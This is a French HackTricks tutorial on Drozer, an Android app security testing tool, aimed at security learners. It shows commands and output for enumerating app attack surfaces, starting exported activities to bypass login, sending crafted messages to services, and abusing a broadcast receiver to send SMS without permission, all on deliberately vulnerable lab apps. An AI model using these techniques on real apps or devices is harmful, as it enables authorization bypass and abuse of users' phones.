Tutoriel Drozer
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
APKs Ă tester
Des parties de ce tutoriel ont été extraites de la documentation pdf de Drozer.
Installation
Installez le client Drozer sur votre hÎte. Téléchargez-le depuis les derniÚres versions.
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
Téléchargez et installez l'APK drozer à partir des derniÚres versions. En ce moment, c'est ceci.
adb install drozer.apk
Démarrer le Serveur
Agent fonctionne sur le port 31415, nous devons port forward pour établir la communication entre le Drozer Client et l'Agent, voici la commande pour le faire :
adb forward tcp:31415 tcp:31415
Enfin, lancez l'application et appuyez sur le bouton "ON"
Et connectez-vous Ă elle :
drozer console connect
Commandes Intéressantes
Commandes | Description |
---|---|
Help MODULE | Affiche l'aide du module sélectionné |
list | Affiche une liste de tous les modules drozer qui peuvent ĂȘtre exĂ©cutĂ©s dans la session actuelle. Cela cache les modules pour lesquels vous n'avez pas les autorisations appropriĂ©es. |
shell | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent. |
clean | Supprime les fichiers temporaires stockés par drozer sur l'appareil Android. |
load | Charge un fichier contenant des commandes drozer et les exécute en séquence. |
module | Trouve et installe des modules drozer supplémentaires depuis Internet. |
unset | Supprime une variable nommée que drozer passe à tous les shells Linux qu'il génÚre. |
set | Stocke une valeur dans une variable qui sera passée comme variable d'environnement à tous les shells Linux générés par drozer. |
shell | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent |
run MODULE | Exécute un module drozer |
exploit | Drozer peut créer des exploits à exécuter dans le dispositif. drozer exploit list |
payload | Les exploits ont besoin d'un payload. drozer payload list |
Package
Trouvez le nom du package en filtrant par une partie du nom :
dz> run app.package.list -f sieve
com.mwr.example.sieve
Informations de base du package :
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
Lire Manifest :
run app.package.manifest jakhar.aseem.diva
Surface d'attaque du paquet :
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
- ActivitĂ©s : Peut-ĂȘtre que vous pouvez dĂ©marrer une activitĂ© et contourner une sorte d'autorisation qui devrait vous empĂȘcher de la lancer.
- Fournisseurs de contenu : Peut-ĂȘtre que vous pouvez accĂ©der Ă des donnĂ©es privĂ©es ou exploiter une vulnĂ©rabilitĂ© (Injection SQL ou TraversĂ©e de chemin).
- Services :
- est débogable : En savoir plus
Activités
La valeur âandroid:exportedâ d'un composant d'activitĂ© exportĂ© est dĂ©finie sur âtrueâ dans le fichier AndroidManifest.xml :
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
Liste des activités exportées :
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
Démarrer l'activité :
Peut-ĂȘtre pouvez-vous dĂ©marrer une activitĂ© et contourner une sorte d'autorisation qui devrait vous empĂȘcher de la lancer.
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
Vous pouvez également démarrer une activité exportée depuis adb :
- PackageName est com.example.demo
- Exported ActivityName est com.example.test.MainActivity
adb shell am start -n com.example.demo/com.example.test.MainActivity
Content Providers
Ce post Ă©tait trop long pour ĂȘtre ici, donc vous pouvez y accĂ©der sur sa propre page ici.
Services
Un service exporté est déclaré dans le Manifest.xml :
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
à l'intérieur du code, vérifiez la fonction handleMessage
qui va recevoir le message :
Service de liste
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
Interagir avec un service
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
Exemple
Regardez l'aide de drozer pour app.service.send
:
Notez que vous enverrez d'abord les donnĂ©es Ă l'intĂ©rieur de "msg.what", puis "msg.arg1" et "msg.arg2", vous devez vĂ©rifier Ă l'intĂ©rieur du code quelles informations sont utilisĂ©es et oĂč.
En utilisant l'option --extra
, vous pouvez envoyer quelque chose interprété par "msg.replyTo", et en utilisant --bundle-as-obj
, vous créez un objet avec les détails fournis.
Dans l'exemple suivant :
what == 2354
arg1 == 9234
arg2 == 1
replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
Récepteurs de diffusion
Dans la section d'informations de base sur Android, vous pouvez voir ce qu'est un Récepteur de diffusion.
AprÚs avoir découvert ces Récepteurs de diffusion, vous devriez vérifier le code de ceux-ci. Faites particuliÚrement attention à la fonction onReceive
car elle gérera les messages reçus.
Détecter tous les récepteurs de diffusion
run app.broadcast.info #Detects all
Vérifiez les récepteurs de diffusion d'une application
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
Diffusions Interactions
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
Envoyer un message
Dans cet exemple, en abusant du FourGoats apk Content Provider, vous pouvez envoyer un SMS arbitraire Ă n'importe quelle destination non premium sans demander la permission Ă l'utilisateur.
Si vous lisez le code, les paramĂštres "phoneNumber" et "message" doivent ĂȘtre envoyĂ©s au Content Provider.
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
Est débogable
Un APK de production ne devrait jamais ĂȘtre dĂ©bogable.
Cela signifie que vous pouvez attacher un dĂ©bogueur java Ă l'application en cours d'exĂ©cution, l'inspecter en temps rĂ©el, dĂ©finir des points d'arrĂȘt, avancer Ă©tape par Ă©tape, rassembler des valeurs de variables et mĂȘme les modifier. L'InfoSec Institute a un excellent article sur l'approfondissement lorsque votre application est dĂ©bogable et l'injection de code Ă l'exĂ©cution.
Lorsqu'une application est débogable, elle apparaßtra dans le Manifest :
<application theme="@2131296387" debuggable="true"
Vous pouvez trouver toutes les applications débogables avec Drozer :
run app.package.debuggable
Tutoriels
- https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref
- https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md
- https://www.hackingarticles.in/android-penetration-testing-drozer/
- https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac
Plus d'infos
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.